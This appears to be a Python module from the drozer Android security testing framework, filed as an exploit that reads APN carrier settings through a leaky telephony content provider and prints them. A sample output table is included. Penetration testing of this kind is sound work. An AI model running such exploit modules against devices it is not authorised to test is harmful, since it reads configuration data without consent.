from drozer.modules import common, Module

class APNProvider(Module, common.TableFormatter, common.Provider):

    name = "Reads APN content provider"
    description = """Exploit a leaky content provider to read APN configuration information.

The target provider is content://telephony/carriers/preferapn"""
    examples = """dz> run exploit.pilfer.general.apnprovider
             _id  1
            name  T-Mobile US
         numeric  310260
             mcc  310
             mnc  260
             apn  epc.tmobile.com
             ...  ..."""
    author = "Rob (@mwrlabs)"
    date = "2012-11-06"
    license = "BSD (3 clause)"
    path = ["exploit", "pilfer", "general"]
    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]

    def execute(self, arguments):
        data = self.getResultSet(self.contentResolver().query("content://telephony/carriers/preferapn"))

        self.print_table(data, show_headers=True, vertical=True)
